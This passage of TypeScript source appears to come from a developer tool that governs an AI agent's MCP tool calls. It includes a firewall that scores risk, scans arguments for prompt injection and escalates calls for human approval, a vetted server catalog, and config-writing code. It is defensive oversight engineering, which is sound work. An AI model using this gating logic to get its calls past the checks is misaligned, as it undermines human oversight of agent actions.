async function loadPolicy(root: string): Promise<McpPolicy> {\n const { mcpFirewallPolicy } = workspacePaths(root);\n\n let raw: string;\n try {\n raw = await readFile(mcpFirewallPolicy, 'utf8');\n } catch (err) {\n if (isErrnoException(err) && err.code === 'ENOENT') {\n return defaultPolicy();\n }\n throw new DevCortexError('INTERNAL', `Unable to read firewall policy at ${mcpFirewallPolicy}.`, {\n cause: err,\n });\n }\n\n let parsed: unknown;\n try {\n parsed = JSON.parse(raw);\n } catch (err) {\n throw new SchemaValidationError(\n `The firewall policy at ${mcpFirewallPolicy} is not valid JSON.`,\n { cause: err },\n );\n }\n\n const result = McpPolicySchema.safeParse(parsed);\n if (!result.success) {\n throw new SchemaValidationError(\n `The firewall policy at ${mcpFirewallPolicy} failed schema validation.`,\n { details: result.error.issues, cause: result.error },\n );\n }\n return result.data;\n}\n\n/**\n * Validate and atomically persist `policy` to\n * `.cortex/policies/mcp-firewall.json`.\n *\n * The policy is validated against {@link McpPolicySchema} before any I/O, so a\n * malformed object never reaches disk; the bytes are then written to a uniquely\n * named temp file in the same directory and `rename`d over the target. Because\n * `rename` is atomic within a filesystem, a concurrent reader (or a crash\n * mid-write) always sees either the previous or the new complete policy.\n *\n * @throws SchemaValidationError when `policy` fails {@link McpPolicySchema}.\n * @throws DevCortexError `INTERNAL` when the file cannot be written.\n */\nexport async function savePolicy(root: string, policy: McpPolicy): Promise<void> {\n const { mcpFirewallPolicy, policiesDir } = workspacePaths(root);\n\n const result = McpPolicySchema.safeParse(policy);\n if (!result.success) {\n throw new SchemaValidationError('Refusing to write an invalid firewall policy.', {\n details: result.error.issues,\n cause: result.error,\n });\n }\n\n const tmp = path.join(policiesDir, `.mcp-firewall.${randomUUID()}.tmp`);\n try {\n await mkdir(policiesDir, { recursive: true });\n await writeFile(tmp, `${JSON.stringify(result.data, null, 2)}\\n`, 'utf8');\n await rename(tmp, mcpFirewallPolicy);\n } catch (err) {\n await rm(tmp, { force: true }).catch(() => undefined);\n throw new DevCortexError('INTERNAL', `Unable to write firewall policy to ${mcpFirewallPolicy}.`, {\n cause: err,\n });\n }\n}\n\n// --- evaluation --------------------------------------------------------------\n\n/**\n * Produce a firewall verdict for a single tool call against `policy`.\n *\n * Decision order (deny is absolute): a `deny` match blocks; otherwise an\n * `allow` match permits; otherwise (an explicit `require-approval` match, or no\n * match at all) the call pauses for approval. An `allow` verdict is escalated to\n * `require-approval` when the args carry a prompt-injection signal or the\n * computed risk score is elevated.\n *\n * The stringified args are scanned for prompt-injection (raising the risk score\n * and adding reasons) and run through the redaction engine; the masked form is\n * returned as `redactedArgs` whenever arguments were supplied, so a caller can\n * log the verdict without leaking secrets.\n *\n * @throws SchemaValidationError when `policy` is malformed or the call is\n * missing a server/tool identifier.\n */\nexport function evaluateToolCall(policy: McpPolicy, call: ToolCall): ToolCallEval {\n const validated = McpPolicySchema.safeParse(policy);\n if (!validated.success) {\n throw new SchemaValidationError('Cannot evaluate a tool call against an invalid policy.', {\n details: validated.error.issues,\n cause: validated.error,\n });\n }\n const effectivePolicy = validated.data;\n\n if (!call || typeof call.server !== 'string' || call.server.length === 0) {\n throw new SchemaValidationError('A tool call must carry a non-empty server id.');\n }\n if (typeof call.tool !== 'string' || call.tool.length === 0) {\n throw new SchemaValidationError('A tool call must carry a non-empty tool name.');\n }\n\n const identifier = `${call.server}.${call.tool}`;\n const toolLower = call.tool.toLowerCase();\n const idLower = identifier.toLowerCase();\n const reasons: string[] = [];\n\n // --- stringify + scan + redact the arguments ------------------------------\n const hasArgs = call.args !== undefined;\n const argsStr = hasArgs ? safeStringify(call.args) : '';\n const argsLower = argsStr.toLowerCase();\n\n const injectionHits = hasArgs ? scanPromptInjection(argsStr) : [];\n const redaction = hasArgs ? redactText(argsStr) : undefined;\n const secretsInArgs = (redaction?.findings.length ?? 0) > 0;\n\n // --- risk score -----------------------------------------------------------\n let risk = 0;\n const destructive = matchesVerb(toolLower, DESTRUCTIVE_VERBS);\n const write = matchesVerb(toolLower, WRITE_VERBS);\n const secretAccess = SECRET_MARKERS.some((m) => idLower.includes(m));\n const network =\n NETWORK_MARKERS.some((m) => idLower.includes(m)) ||\n NETWORK_MARKERS.some((m) => argsLower.includes(m));\n\n if (destructive) {\n risk += RISK.destructive;\n reasons.push(`destructive verb in tool \"${call.tool}\"`);\n }\n if (write && !destructive) {\n risk += RISK.write;\n reasons.push(`write/mutating operation \"${call.tool}\"`);\n }\n if (secretAccess) {\n risk += RISK.secretAccess;\n reasons.push('tool scope touches secrets/credentials');\n }\n if (network) {\n risk += RISK.network;\n reasons.push('network/exfiltration surface present');\n }\n for (const hit of injectionHits) {\n risk += RISK.perInjection;\n reasons.push(hit);\n }\n if (secretsInArgs) {\n risk += RISK.secretsInArgs;\n reasons.push('arguments contain secrets (masked in redactedArgs)');\n }\n const riskScore = clamp(risk, 0, 100);\n\n // --- rule matching (deny > allow > require-approval) ----------------------\n let decision: FirewallDecision;\n if (matchesAny(effectivePolicy.deny, identifier, call.tool)) {\n decision = 'deny';\n reasons.unshift(`blocked: matched a deny rule for \"${identifier}\"`);\n } else if (matchesAny(effectivePolicy.allow, identifier, call.tool)) {\n decision = 'allow';\n // Fail toward a human: an allowed call still pauses when it carries an\n // injection signal or scores as high-risk.\n if (injectionHits.length > 0) {\n decision = 'require-approval';\n reasons.unshift('escalated to approval: prompt-injection signal in arguments');\n } else if (riskScore >= RISK_ESCALATION_THRESHOLD) {\n decision = 'require-approval';\n reasons.unshift(`escalated to approval: elevated risk score (${riskScore})`);\n } else {\n reasons.unshift(`allowed: matched an allow rule for \"${identifier}\"`);\n }\n } else if (matchesAny(effectivePolicy.requireApproval, identifier, call.tool)) {\n decision = 'require-approval';\n reasons.unshift(`requires approval: matched a require-approval rule for \"${identifier}\"`);\n } else {\n decision = 'require-approval';\n reasons.unshift(`requires approval: no allow rule matched \"${identifier}\"`);\n }\n\n if (effectivePolicy.dryRun && decision === 'allow') {\n reasons.push('dry-run: allowed call is rehearsed without side effects');\n }\n\n const evaluation: ToolCallEval = {\n decision,\n reasons: dedupe(reasons),\n riskScore,\n };\n if (redaction !== undefined) {\n evaluation.redactedArgs = redaction.redacted;\n }\n return evaluation;\n}\n\n// --- internals --------------------------------------------------------------\n\n/**\n * Does `value` match any glob pattern in `patterns`? A `*` in a pattern matches\n * any run of characters; every other character (including `.`) is literal.\n * Patterns are tested against both the full `server.tool` identifier and the\n * bare tool name, case-insensitively.\n */\nfunction matchesAny(patterns: readonly string[], identifier: string, tool: string): boolean {\n return patterns.some((pattern) => globMatch(pattern, identifier) || globMatch(pattern, tool));\n}\n\n/** Compile a `*`-glob to an anchored, case-insensitive RegExp and test it. */\nfunction globMatch(pattern: string, value: string): boolean {\n const source = pattern.split('*').map(escapeRegExp).join('.*');\n return new RegExp(`^${source}$`, 'i').test(value);\n}\n\n/** Escape every RegExp metacharacter so the fragment matches literally. */\nfunction escapeRegExp(fragment: string): string {\n return fragment.replace(/[.*+?^${}()|[\\]\\\\]/g, '\\\\$&');\n}\n\n/**\n * Whole-word verb match. Treats any non-lowercase-letter (so `_`, `-`, `.`,\n * digits, boundaries) as a separator, so `rm` matches `shell_rm` / `rm_file`\n * but never `transform`, and `del` matches `del_branch` but never `model`.\n */\nfunction matchesVerb(haystack: string, verbs: readonly string[]): boolean {\n return verbs.some((verb) => new RegExp(`(?:^|[^a-z])${verb}(?:[^a-z]|$)`).test(haystack));\n}\n\n/** Clamp `value` into `[min, max]` and round to an integer. */\nfunction clamp(value: number, min: number, max: number): number {\n return Math.max(min, Math.min(max, Math.round(value)));\n}\n\n/** Order-preserving de-duplication of reason strings. */\nfunction dedupe(values: readonly string[]): string[] {\n const seen = new Set<string>();\n const out: string[] = [];\n for (const value of values) {\n if (!seen.has(value)) {\n seen.add(value);\n out.push(value);\n }\n }\n return out;\n}\n\n/**\n * Best-effort stable stringification of arbitrary tool arguments. `JSON.stringify`\n * can throw (circular references) or drop values (`BigInt`); on any failure we\n * fall back to `String(value)` so scanning/redaction still runs over *some*\n * textual form rather than crashing the firewall.\n */\nfunction safeStringify(value: unknown): string {\n if (typeof value === 'string') {\n return value;\n }\n try {\n const json = JSON.stringify(value, (_key: string, val: unknown) =>\n typeof val === 'bigint' ? val.toString() : val,\n );\n return json ?? String(value);\n } catch {\n return String(value);\n }\n}\n\n/** Narrow an unknown thrown value to a Node `errno` exception. */\nfunction isErrnoException(err: unknown): err is NodeJS.ErrnoException {\n return err instanceof Error && typeof (err as NodeJS.ErrnoException).code === 'string';\n}\n","// ============================================================================\n// Safe MCP Manager (§7.19) — curated server catalog.\n//\n// A hand-vetted, deterministic catalog of well-known MCP servers. Every entry\n// is a full `McpServerSpec` (domain/mcp.ts): its trust level, requested\n// permission scopes, per-tool read/write + destructive breakdown, required\n// secrets, and sandbox posture are set HONESTLY from each server's documented\n// surface — not aspirationally. The manager uses this catalog to recommend,\n// install (read-only by default), and audit MCP servers.\n//\n// Curation rules encoded here:\n// - `trust` reflects the publisher: `trusted` = first-party / official\n// reference server; `community` = popular but unvetted publisher. An\n// uncatalogued server discovered in a repo's `.mcp.json` is surfaced as\n// `unknown` at runtime (see manager.ts) — it never appears in this catalog.\n// - `access` is `read` or `write`; `destructive` is tracked SEPARATELY because\n// not every write is destructive (a GitHub comment is a non-destructive\n// write; a force-push is destructive). The firewall scores the two signals\n// independently.\n// - `secretsRequired` lists ENV VAR NAMES only, never values.\n// ============================================================================\n\nimport type { McpServerSpec, McpTrust } from '../domain';\n\n/**\n * The curated catalog. Ordered roughly by how universally useful each server is\n * so a stable, readable default order is available before any ranking.\n */\nexport const mcpCatalog: readonly McpServerSpec[] = [\n {\n id: 'filesystem',\n name: 'Filesystem',\n source: 'npm:@modelcontextprotocol/server-filesystem',\n trust: 'trusted',\n permissions: ['filesystem.read', 'filesystem.write'],\n tools: [\n { name: 'read_file', access: 'read', destructive: false },\n { name: 'read_multiple_files', access: 'read', destructive: false },\n { name: 'list_directory', access: 'read', destructive: false },\n { name: 'directory_tree', access: 'read', destructive: false },\n { name: 'search_files', access: 'read', destructive: false },\n { name: 'get_file_info', access: 'read', destructive: false },\n { name: 'create_directory', access: 'write', destructive: false },\n { name: 'write_file', access: 'write', destructive: true },\n { name: 'edit_file', access: 'write', destructive: true },\n { name: 'move_file', access: 'write', destructive: true },\n ],\n secretsRequired: [],\n sandbox: true,\n installCommand: 'npx -y @modelcontextprotocol/server-filesystem <ALLOWED_DIR>',\n note: 'Scope with explicit allowed directories. write_file/edit_file/move_file overwrite in place — roll back via version control. No secrets; sandboxed to the allow-listed paths.',\n },\n {\n id: 'git',\n name: 'Git',\n source: 'pypi:mcp-server-git',\n trust: 'trusted',\n permissions: ['git.read', 'git.write'],\n tools: [\n { name: 'git_status', access: 'read', destructive: false },\n { name: 'git_diff', access: 'read', destructive: false },\n { name: 'git_log', access: 'read', destructive: false },\n { name: 'git_show', access: 'read', destructive: false },\n { name: 'git_add', access: 'write', destructive: false },\n { name: 'git_commit', access: 'write', destructive: false },\n { name: 'git_create_branch', access: 'write', destructive: false },\n { name: 'git_checkout', access: 'write', destructive: true },\n { name: 'git_reset', access: 'write', destructive: true },\n ],\n secretsRequired: [],\n sandbox: false,\n installCommand: 'uvx mcp-server-git --repository <REPO_PATH>',\n note: 'Local git operations. git_checkout and git_reset can discard uncommitted work (destructive). Read/diff/log tools are safe. No secrets.',\n },\n {\n id: 'github',\n name: 'GitHub',\n source: 'ghcr.io/github/github-mcp-server',\n trust: 'trusted',\n permissions: ['github.read', 'github.write', 'github.workflow'],\n tools: [\n { name: 'get_file_contents', access: 'read', destructive: false },\n { name: 'search_repositories', access: 'read', destructive: false },\n { name: 'search_code', access: 'read', destructive: false },\n { name: 'list_commits', access: 'read', destructive: false },\n { name: 'list_issues', access: 'read', destructive: false },\n { name: 'add_issue_comment', access: 'write', destructive: false },\n { name: 'create_issue', access: 'write', destructive: false },\n { name: 'create_branch', access: 'write', destructive: false },\n { name: 'create_pull_request', access: 'write', destructive: false },\n { name: 'create_or_update_file', access: 'write', destructive: true },\n { name: 'push_files', access: 'write', destructive: true },\n { name: 'merge_pull_request', access: 'write', destructive: true },\n ],\n secretsRequired: ['GITHUB_PERSONAL_ACCESS_TOKEN'],\n sandbox: false,\n installCommand: 'docker run -i --rm -e GITHUB_PERSONAL_ACCESS_TOKEN ghcr.io/github/github-mcp-server',\n note: 'Requires a personal access token — scope it to least privilege (avoid repo/admin/delete). create_or_update_file and push_files overwrite; merge_pull_request is effectively irreversible on protected branches.',\n },\n {\n id: 'playwright',\n name: 'Playwright (Browser)',\n source: 'npm:@playwright/mcp',\n trust: 'trusted',\n permissions: ['browser.read', 'browser.interact'],\n tools: [\n { name: 'browser_snapshot', access: 'read', destructive: false },\n { name: 'browser_take_screenshot', access: 'read', destructive: false },\n { name: 'browser_console_messages', access: 'read', destructive: false },\n { name: 'browser_network_requests', access: 'read', destructive: false },\n { name: 'browser_navigate', access: 'write', destructive: false },\n { name: 'browser_click', access: 'write', destructive: false },\n { name: 'browser_type', access: 'write', destructive: false },\n { name: 'browser_file_upload', access: 'write', destructive: false },\n { name: 'browser_evaluate', access: 'write', destructive: true },\n ],\n secretsRequired: [],\n sandbox: true,\n installCommand: 'npx -y @playwright/mcp@latest',\n note: 'Drives an isolated browser context. browser_evaluate runs arbitrary page JavaScript (treat as destructive). Interactions submit real forms / issue real requests — point it at test targets, not production.',\n },\n {\n id: 'postgres',\n name: 'PostgreSQL (read-only)',\n source: 'npm:@modelcontextprotocol/server-postgres',\n trust: 'trusted',\n permissions: ['database.read'],\n tools: [\n { name: 'query', access: 'read', destructive: false },\n { name: 'list_schemas', access: 'read', destructive: false },\n { name: 'list_tables', access: 'read', destructive: false },\n { name: 'describe_table', access: 'read', destructive: false },\n ],\n secretsRequired: ['DATABASE_URL'],\n sandbox: false,\n installCommand: 'npx -y @modelcontextprotocol/server-postgres <CONNECTION_URL>',\n note: 'Official reference server is read-only (executes SELECT only). The connection string carries database credentials — inject via env, never commit. For writes, adopt a vetted read-write server behind explicit approval.',\n },\n {\n id: 'stripe-docs',\n name: 'Stripe Docs',\n source: 'npm:@stripe/mcp',\n trust: 'trusted',\n permissions: ['stripe.docs.read'],\n tools: [\n { name: 'search_documentation', access: 'read', destructive: false },\n { name: 'fetch_documentation_page', access: 'read', destructive: false },\n { name: 'search_stripe_resources', access: 'read', destructive: false },\n ],\n secretsRequired: [],\n sandbox: false,\n installCommand: 'npx -y @stripe/mcp --tools=documentation',\n note: 'Documentation-only surface — public content, no API key. The full @stripe/mcp toolkit (--tools=all) adds write/payment tools (create charges/refunds/customers) and REQUIRES STRIPE_SECRET_KEY; those must stay behind approval and never run unattended against live keys.',\n },\n {\n id: 'vercel',\n name: 'Vercel',\n source: 'https://mcp.vercel.com',\n trust: 'trusted',\n permissions: ['vercel.read', 'vercel.deploy'],\n tools: [\n { name: 'list_projects', access: 'read', destructive: false },\n { name: 'get_project', access: 'read', destructive: false },\n { name: 'list_deployments', access: 'read', destructive: false },\n { name: 'get_deployment', access: 'read', destructive: false },\n { name: 'get_deployment_build_logs', access: 'read', destructive: false },\n { name: 'search_vercel_documentation', access: 'read', destructive: false },\n { name: 'deploy_to_vercel', access: 'write', destructive: true },\n ],\n secretsRequired: ['VERCEL_TOKEN'],\n sandbox: false,\n installCommand: 'npx -y mcp-remote https://mcp.vercel.com',\n note: 'Hosted MCP bridged via mcp-remote. deploy_to_vercel triggers a real (possibly production) deployment — keep behind approval. Prefer the OAuth transport; a VERCEL_TOKEN must be least-privilege and team-scoped.',\n },\n {\n id: 'docker',\n name: 'Docker',\n source: 'pypi:mcp-server-docker',\n trust: 'community',\n permissions: ['docker.read', 'docker.write'],\n tools: [\n { name: 'list_containers', access: 'read', destructive: false },\n { name: 'list_images', access: 'read', destructive: false },\n { name: 'inspect_container', access: 'read', destructive: false },\n { name: 'fetch_container_logs', access: 'read', destructive: false },\n { name: 'start_container', access: 'write', destructive: false },\n { name: 'create_container', access: 'write', destructive: true },\n { name: 'run_container', access: 'write', destructive: true },\n { name: 'stop_container', access: 'write', destructive: true },\n { name: 'remove_container', access: 'write', destructive: true },\n { name: 'remove_image', access: 'write', destructive: true },\n ],\n secretsRequired: [],\n sandbox: false,\n installCommand: 'uvx mcp-server-docker',\n note: 'Community server with full control of the local Docker daemon — create_container/run_container is host-level code execution (effectively root-equivalent via the socket). Require approval on every write and prefer running DevCortex itself sandboxed.',\n },\n {\n id: 'cloud-logs',\n name: 'Cloud Logs & Observability (Grafana)',\n source: 'ghcr.io/grafana/mcp-grafana',\n trust: 'community',\n permissions: ['observability.read', 'observability.annotate'],\n tools: [\n { name: 'query_loki_logs', access: 'read', destructive: false },\n { name: 'query_prometheus', access: 'read', destructive: false },\n { name: 'list_datasources', access: 'read', destructive: false },\n { name: 'search_dashboards', access: 'read', destructive: false },\n { name: 'get_dashboard', access: 'read', destructive: false },\n { name: 'list_incidents', access: 'read', destructive: false },\n { name: 'search_documentation', access: 'read', destructive: false },\n { name: 'create_annotation', access: 'write', destructive: false },\n ],\n secretsRequired: ['GRAFANA_URL', 'GRAFANA_API_KEY'],\n sandbox: false,\n installCommand: 'docker run -i --rm -e GRAFANA_URL -e GRAFANA_API_KEY ghcr.io/grafana/mcp-grafana -t stdio',\n note: 'Observability + docs: query logs (Loki), metrics (Prometheus), dashboards, incidents, and product docs. Read-first; create_annotation is a low-risk write. The API key scopes access — use a Viewer / least-privilege key.',\n },\n];\n\n/** Fast id -> spec lookup over {@link mcpCatalog}. */\nexport const CATALOG_BY_ID: ReadonlyMap<string, McpServerSpec> = new Map(\n mcpCatalog.map((spec) => [spec.id, spec]),\n);\n\n/** Ranking weight for trust levels — lower sorts first (most trusted first). */\nexport const TRUST_RANK: Readonly<Record<McpTrust, number>> = {\n trusted: 0,\n community: 1,\n unknown: 2,\n};\n\n/** Resolve a catalog entry by id, or `undefined` when it is not curated. */\nexport function getCatalogEntry(id: string): McpServerSpec | undefined {\n return CATALOG_BY_ID.get(id);\n}\n","// ============================================================================\n// Safe MCP Manager (§7.19) — recommendation ranking.\n//\n// `recommendMcp(task, graph)` matches a free-text task description AND the\n// scanned project graph against the curated catalog, returning the servers most\n// likely to help — ranked, deterministic, tokenless (no LLM).\n//\n// Scoring is a transparent additive heuristic:\n// - each distinct task keyword that appears in the task text scores TASK_WEIGHT;\n// - each distinct stack signal that appears in the project's \"stack haystack\"\n// (framework, language, deployment targets, env-var names, scripts, file\n// paths + tags) scores STACK_WEIGHT — stack evidence is weighted higher than\n// task phrasing because it is a stronger, harder-to-game signal;\n// - universally useful servers (filesystem, git) get a small baseline so a repo\n// with no other signal still gets a sensible default.\n//\n// Ties break by trust (trusted first) then id, so the output order is stable.\n// ============================================================================\n\nimport type { McpServerSpec, ProjectGraph } from '../domain';\n\nimport { CATALOG_BY_ID, TRUST_RANK } from './catalog';\n\nconst TASK_WEIGHT = 2;\nconst STACK_WEIGHT = 3;\nconst UNIVERSAL_BASELINE = 1;\n\n/** Match rules for one catalog server. All matching is lowercase substring. */\ninterface RecommendSignal {\n id: string;\n /** phrases in the task text that indicate this server is relevant */\n keywords: readonly string[];\n /** substrings in the project graph's stack haystack that indicate relevance */\n stackSignals: readonly string[];\n /** small baseline for servers useful in essentially any repo */\n universal?: boolean;\n}\n\nconst SIGNALS: readonly RecommendSignal[] = [\n {\n id: 'filesystem',\n keywords: ['file', 'files', 'filesystem', 'directory', 'folder', 'read a file', 'write a file', 'local file', 'disk'],\n stackSignals: [],\n universal: true,\n },\n {\n id: 'git',\n keywords: ['git', 'commit', 'branch', 'diff', 'blame', 'stage', 'version control', 'checkout'],\n stackSignals: ['.git'],\n universal: true,\n },\n {\n id: 'github',\n keywords: ['github', 'pull request', 'pull-request', ' pr ', 'issue', 'repository', 'code review', 'merge', 'fork'],\n stackSignals: ['github', '.github', 'github_token', 'octokit', 'gh_token'],\n },\n {\n id: 'playwright',\n keywords: ['browser', 'playwright', 'e2e', 'end-to-end', 'ui test', 'scrape', 'screenshot', 'navigate', 'click', 'web page'],\n stackSignals: ['playwright', 'e2e', 'test:e2e'],\n },\n {\n id: 'postgres',\n keywords: ['postgres', 'postgresql', 'database', 'sql', 'query', 'schema', 'table', 'migration'],\n stackSignals: ['postgres', 'postgresql', 'database_url', 'prisma', 'typeorm', 'sqlalchemy', 'psql', 'drizzle'],\n },\n {\n id: 'stripe-docs',\n keywords: ['stripe', 'payment', 'billing', 'subscription', 'checkout', 'invoice', 'charge', 'webhook'],\n stackSignals: ['stripe'],\n },\n {\n id: 'vercel',\n keywords: ['vercel', 'deploy', 'deployment', 'hosting', 'preview', 'edge function'],\n stackSignals: ['vercel', 'vercel_token', 'nextjs', 'next.js'],\n },\n {\n id: 'docker',\n keywords: ['docker', 'container', 'image', 'compose', 'dockerfile', 'containerize'],\n stackSignals: ['docker', 'dockerfile', 'docker-compose', 'compose.yaml', 'compose.yml', '.dockerignore'],\n },\n {\n id: 'cloud-logs',\n keywords: ['logs', 'logging', 'observability', 'metrics', 'monitoring', 'trace', 'incident', 'grafana', 'production issue', 'debug production'],\n stackSignals: ['grafana', 'loki', 'prometheus', 'datadog', 'cloudwatch', 'opentelemetry', 'otel'],\n },\n];\n\n/**\n * Recommend MCP servers for `task` in the context of `graph`, ranked best-first.\n *\n * Deterministic and side-effect free. Only servers with a positive match score\n * are returned; a task/graph with no signal at all still surfaces the universal\n * staples (filesystem, git) via their baseline.\n */\nexport function recommendMcp(task: string, graph: ProjectGraph): McpServerSpec[] {\n const taskLower = typeof task === 'string' ? ` ${task.toLowerCase()} ` : ' ';\n const haystack = buildStackHaystack(graph);\n\n const scored: Array<{ spec: McpServerSpec; score: number }> = [];\n for (const signal of SIGNALS) {\n const spec = CATALOG_BY_ID.get(signal.id);\n if (spec === undefined) {\n continue;\n }\n let score = 0;\n for (const keyword of signal.keywords) {\n if (taskLower.includes(keyword.toLowerCase())) {\n score += TASK_WEIGHT;\n }\n }\n for (const stackSignal of signal.stackSignals) {\n if (haystack.includes(stackSignal.toLowerCase())) {\n score += STACK_WEIGHT;\n }\n }\n if (signal.universal === true) {\n score += UNIVERSAL_BASELINE;\n }\n if (score > 0) {\n scored.push({ spec, score });\n }\n }\n\n scored.sort((a, b) => {\n if (b.score !== a.score) {\n return b.score - a.score;\n }\n const trustDelta = TRUST_RANK[a.spec.trust] - TRUST_RANK[b.spec.trust];\n if (trustDelta !== 0) {\n return trustDelta;\n }\n return a.spec.id.localeCompare(b.spec.id);\n });\n\n return scored.map((entry) => entry.spec);\n}\n\n/**\n * Flatten every relevance-bearing part of the project graph into one lowercase\n * string that substring matching can run against: stack descriptors, deployment\n * targets, env-var names, script keys + bodies, and file paths + tags.\n */\nfunction buildStackHaystack(graph: ProjectGraph): string {\n const parts: string[] = [];\n const { stack } = graph;\n parts.push(stack.framework, stack.language, stack.packageManager);\n if (stack.frameworkVersion !== undefined) {\n parts.push(stack.frameworkVersion);\n }\n parts.push(...stack.deploymentTargets);\n for (const env of graph.envVars) {\n parts.push(env.name);\n }\n for (const [key, value] of Object.entries(graph.scripts)) {\n parts.push(key, value);\n }\n for (const file of graph.files) {\n parts.push(file.path);\n parts.push(...file.tags);\n }\n // Mark git as universally applicable to a scanned repo without relying on a\n // `.git` file node being present in the graph.\n parts.push('.git');\n return parts.join(' ').toLowerCase();\n}\n","// ============================================================================\n// Safe MCP Manager (§7.19) — host `.mcp.json` configuration I/O.\n//\n// `.mcp.json` at the repo root is the MCP host's project-scoped server config\n// (`{ \"mcpServers\": { \"<id>\": { command, args, env } } }`). The manager reads,\n// merges, and writes it while:\n// - preserving every foreign top-level key and every foreign server entry\n// (DevCortex governs, it does not clobber a user's hand-authored servers);\n// - writing new entries with a DEFAULT-READ-ONLY posture — env values are\n// always empty placeholders (never real secrets), and a namespaced\n// `devcortex` annotation records which tool scopes auto-approve (reads) vs\n// require approval (writes/destructive), so the read-only intent survives on\n// disk and is enforceable by the firewall;\n// - writing atomically (temp file + rename) so a crash never truncates config.\n// ============================================================================\n\nimport { randomUUID } from 'node:crypto';\nimport { mkdir, readFile, rename, rm, writeFile } from 'node:fs/promises';\nimport path from 'node:path';\n\nimport { DevCortexError, SchemaValidationError } from '../domain';\nimport type { McpServerSpec, McpTrust } from '../domain';\nimport { workspacePaths } from '../workspace';\n\n// --- shapes -----------------------------------------------------------------\n\n/**\n * DevCortex governance annotation embedded in a managed server entry. Hosts\n * ignore unknown keys, so this rides alongside the standard fields without\n * breaking the host, while making the read-only posture explicit and auditable.\n */\nexport interface DevcortexAnnotation {\n managedBy: 'devcortex';\n posture: 'read-only';\n trust: McpTrust;\n /** tool identifiers safe to auto-run (read + non-destructive) */\n autoApprove: string[];\n /** tool identifiers that must pause for approval (write or destructive) */\n requireApproval: string[];\n /** repo-relative path of the recorded McpServerSpec under .cortex/mcp/ */\n specPath: string;\n}\n\n/** A single server entry in `.mcp.json`. Foreign keys are preserved verbatim. */\nexport interface McpServerEntry {\n command?: string;\n args?: string[];\n env?: Record<string, string>;\n type?: string;\n url?: string;\n devcortex?: DevcortexAnnotation;\n [key: string]: unknown;\n}\n\n/** The parsed `.mcp.json` document. Foreign top-level keys are preserved. */\nexport interface McpJson {\n mcpServers: Record<string, McpServerEntry>;\n [key: string]: unknown;\n}\n\n// --- paths ------------------------------------------------------------------\n\n/** Absolute path of the host `.mcp.json` for a repo root. */\nexport function mcpJsonPath(root: string): string {\n return path.join(workspacePaths(root).root, '.mcp.json');\n}\n\n// --- read -------------------------------------------------------------------\n\n/**\n * Read and normalise `<root>/.mcp.json`.\n *\n * A missing file is not an error — it yields an empty, well-formed document so\n * callers can merge into it unconditionally. A present-but-malformed file (not\n * JSON, not an object, or a non-object `mcpServers`) throws\n * {@link SchemaValidationError} rather than silently discarding a user's config.\n */\nexport async function readMcpJson(root: string): Promise<McpJson> {\n const file = mcpJsonPath(root);\n\n let raw: string;\n try {\n raw = await readFile(file, 'utf8');\n } catch (err) {\n if (isErrnoException(err) && err.code === 'ENOENT') {\n return { mcpServers: {} };\n }\n throw new DevCortexError('INTERNAL', `Unable to read MCP host config at ${file}.`, {\n cause: err,\n });\n }\n\n let parsed: unknown;\n try {\n parsed = JSON.parse(raw);\n } catch (err) {\n throw new SchemaValidationError(`The MCP host config at ${file} is not valid JSON.`, {\n cause: err,\n });\n }\n\n if (!isRecord(parsed)) {\n throw new SchemaValidationError(`The MCP host config at ${file} must be a JSON object.`);\n }\n\n const rawServers = parsed['mcpServers'];\n if (rawServers !== undefined && !isRecord(rawServers)) {\n throw new SchemaValidationError(\n `The \"mcpServers\" field in ${file} must be an object of server entries.`,\n );\n }\n\n const servers: Record<string, McpServerEntry> = {};\n if (isRecord(rawServers)) {\n for (const [id, entry] of Object.entries(rawServers)) {\n if (!isRecord(entry)) {\n throw new SchemaValidationError(\n `The server entry \"${id}\" in ${file} must be an object.`,\n );\n }\n servers[id] = entry as McpServerEntry;\n }\n }\n\n // Preserve foreign top-level keys; overwrite the normalised mcpServers.\n return { ...parsed, mcpServers: servers };\n}\n\n// --- write ------------------------------------------------------------------\n\n/**\n * Atomically write `data` to `<root>/.mcp.json` (temp file + rename in the same\n * directory), pretty-printed with a trailing newline.\n *\n * @throws DevCortexError `INTERNAL` when the file cannot be written.\n */\nexport async function writeMcpJson(root: string, data: McpJson): Promise<void> {\n const file = mcpJsonPath(root);\n const dir = path.dirname(file);\n const tmp = path.join(dir, `.mcp.${randomUUID()}.tmp`);\n try {\n await mkdir(dir, { recursive: true });\n await writeFile(tmp, `${JSON.stringify(data, null, 2)}\\n`, 'utf8');\n await rename(tmp, file);\n } catch (err) {\n await rm(tmp, { force: true }).catch(() => undefined);\n throw new DevCortexError('INTERNAL', `Unable to write MCP host config to ${file}.`, {\n cause: err,\n });\n }\n}\n\n// --- entry construction -----------------------------------------------------\n\n/**\n * Build the `.mcp.json` entry for a catalog `spec`, applying the default\n * read-only posture: the launch command/args are parsed from the spec's\n * `installCommand`, every required secret is written as an EMPTY env placeholder\n * (never a value), and a `devcortex` annotation records the read/approval split.\n *\n * `specPath` is the repo-relative location of the recorded McpServerSpec, so an\n * auditor can trace the host entry back to the governed spec.\n */\nexport function buildServerEntry(spec: McpServerSpec, specPath: string): McpServerEntry {\n const { command, args } = parseInstallCommand(spec.installCommand);\n\n const env: Record<string, string> = {};\n for (const name of spec.secretsRequired) {\n // Placeholder only — the user fills these in; DevCortex never writes secrets.\n env[name] = '';\n }\n\n const autoApprove: string[] = [];\n const requireApproval: string[] = [];\n for (const tool of spec.tools) {\n const identifier = `${spec.id}.${tool.name}`;\n if (tool.access === 'write' || tool.destructive) {\n requireApproval.push(identifier);\n } else {\n autoApprove.push(identifier);\n }\n }\n\n const annotation: DevcortexAnnotation = {\n managedBy: 'devcortex',\n posture: 'read-only',\n trust: spec.trust,\n autoApprove,\n requireApproval,\n specPath,\n };\n\n const entry: McpServerEntry = { devcortex: annotation };\n if (command !== undefined) {\n entry.command = command;\n entry.args = args;\n }\n if (Object.keys(env).length > 0) {\n entry.env = env;\n }\n return entry;\n}\n\n/**\n * Split an install command string into `{ command, args }`. An absent command\n * yields `{ command: undefined, args: [] }` (e.g. a purely hosted server the\n * user wires up manually). Extra whitespace is collapsed.\n */\nexport function parseInstallCommand(installCommand: string | undefined): {\n command: string | undefined;\n args: string[];\n} {\n if (installCommand === undefined) {\n return { command: undefined, args: [] };\n }\n const parts = installCommand.trim().split(/\\s+/u).filter((part) => part.length > 0);\n const [command, ...args] = parts;\n return { command, args };\n}\n\n// --- helpers ----------------------------------------------------------------\n\nfunction isRecord(value: unknown): value is Record<string, unknown> {\n return typeof value === 'object' && value !== null && 